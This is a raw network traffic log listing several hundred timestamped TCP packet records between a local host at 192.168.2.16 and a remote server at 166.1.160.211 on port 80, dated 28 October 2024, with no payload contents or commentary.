Oct 28, 2024 19:46:20.977494955 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.977510929 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.977530003 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.977564096 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.977580070 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.977988005 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.978039026 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.978044987 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.978071928 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.978106022 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.978127003 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.978140116 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.978173018 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.978189945 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.978208065 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.978240967 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.978264093 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.978276014 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.978310108 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.978327990 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.978344917 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.978379011 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.978399038 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.978411913 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.978446960 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.978468895 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.979011059 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.979047060 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.979067087 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.979079962 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.979114056 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.979135036 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.979147911 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.979182005 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.979201078 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.979216099 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.979249954 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.979264975 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.979285002 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.979331017 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.979336977 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.979368925 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.979403973 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.979415894 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.979439020 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.979496956 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.979787111 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.979840040 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.979872942 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.979892969 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.979907036 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.979940891 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.979958057 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.979974985 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.980007887 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.980029106 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.980041027 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.980073929 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.980108023 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.980113983 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.980140924 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.980159998 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.980174065 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.980207920 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.980228901 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.980490923 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.980525970 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.980541945 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.980560064 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.980595112 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.980607033 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.980648041 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.980680943 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.980700016 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.980715036 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.980750084 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.980767012 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.980783939 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.980817080 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.980839014 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.980850935 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.980885029 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.980897903 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.980926037 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.980962038 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.980979919 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.980994940 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.981029987 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.981044054 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.981064081 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.981102943 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.981115103 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.981564999 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.981616020 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.981638908 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.981650114 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.981683016 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.981705904 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.981714010 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.981749058 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.981775045 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.981781006 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.981815100 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.981826067 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.981848955 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.981882095 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.981892109 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.981915951 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.981950998 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.981973886 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.981983900 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.982017040 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.982028961 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.982049942 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.982084036 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.982116938 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.982116938 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.982151031 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.982167959 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:20.982383013 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.982417107 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:20.982428074 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.037121058 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.186069965 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.191597939 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.191720963 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.191817045 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.191821098 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.191854000 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.191889048 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.191903114 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.191925049 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.191971064 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.191977024 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.192013025 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.192047119 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.192058086 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.192122936 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.192157030 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.192168951 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.192192078 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.192226887 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.192235947 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.192342997 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.192375898 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.192397118 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.192413092 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.192459106 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.192820072 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.192854881 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.192888975 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.192903042 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.192956924 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.192989111 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.193006992 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.193023920 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.193059921 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.193068981 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.193176985 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.193209887 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.193223953 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.193244934 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.193289995 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.193711996 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.193746090 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.193780899 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.193790913 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.193815947 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.193850040 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.193861961 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.193883896 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.193929911 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.194066048 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.194098949 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.194133997 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.194144964 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.194169998 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.194212914 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.194526911 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.194581032 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.194614887 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.194628954 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.194756985 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.194789886 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.194804907 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.194824934 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.194859982 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.194870949 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.195012093 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.195044994 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.195060968 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.195079088 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.195120096 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.195411921 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.195501089 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.195537090 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.195547104 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.195640087 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.195672035 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.195683956 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.195705891 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.195739985 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.195746899 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.195877075 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.195909023 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.195919991 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.195944071 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.195995092 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.196321964 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.196377039 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.196423054 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.196475983 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.196543932 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.196577072 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.196588039 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.196700096 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.196732998 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.196747065 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.196768045 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.196800947 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.196819067 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.196988106 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.197021008 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.197033882 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.197057009 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.197288990 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.282704115 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.288326979 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.288362980 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.288419962 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.288454056 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.288459063 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.288487911 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.288501978 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.288523912 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.288558960 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.288568020 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.288641930 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.288692951 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.288693905 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.288729906 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.288772106 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.288794994 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.288830042 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.288863897 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.288876057 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.289015055 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.289047956 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.289069891 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.289081097 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.289127111 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.289133072 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.289410114 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.289460897 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.289465904 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.289495945 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.289529085 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.289535999 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.289563894 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.289597034 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.289612055 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.289632082 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.289665937 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.289671898 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.289731979 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.289778948 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.289784908 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.289819002 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.289860964 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.289911032 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.289943933 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.289977074 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.289992094 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.290014029 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.290059090 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.290193081 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.290225983 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.290261030 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.290273905 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.290317059 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.290349960 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.290361881 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.290384054 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.290420055 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.290427923 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.290541887 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.290591002 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.290652037 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.290685892 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.290719032 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.290738106 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.290754080 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.290797949 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.290805101 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.290842056 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.290875912 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.290884972 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.290946960 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.290994883 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.291011095 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.291049004 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.291083097 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.291104078 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.291116953 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.291162968 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.291418076 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.291450977 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.291485071 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.291498899 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.291520119 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.291567087 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.292655945 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.292689085 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.292736053 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.292742014 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.292774916 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.292829037 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.292877913 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.292910099 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.292946100 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.292957067 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.292982101 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.293025970 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.293118000 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.293153048 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.293199062 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.293271065 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.293303967 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.293338060 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.293349028 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.293371916 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.293406963 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.293416977 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.293678999 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.293730021 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.293730974 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.293765068 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.293797970 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:21.293808937 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:21.293833017 CET	80	49726	166.1.160.211	192.168.2.16
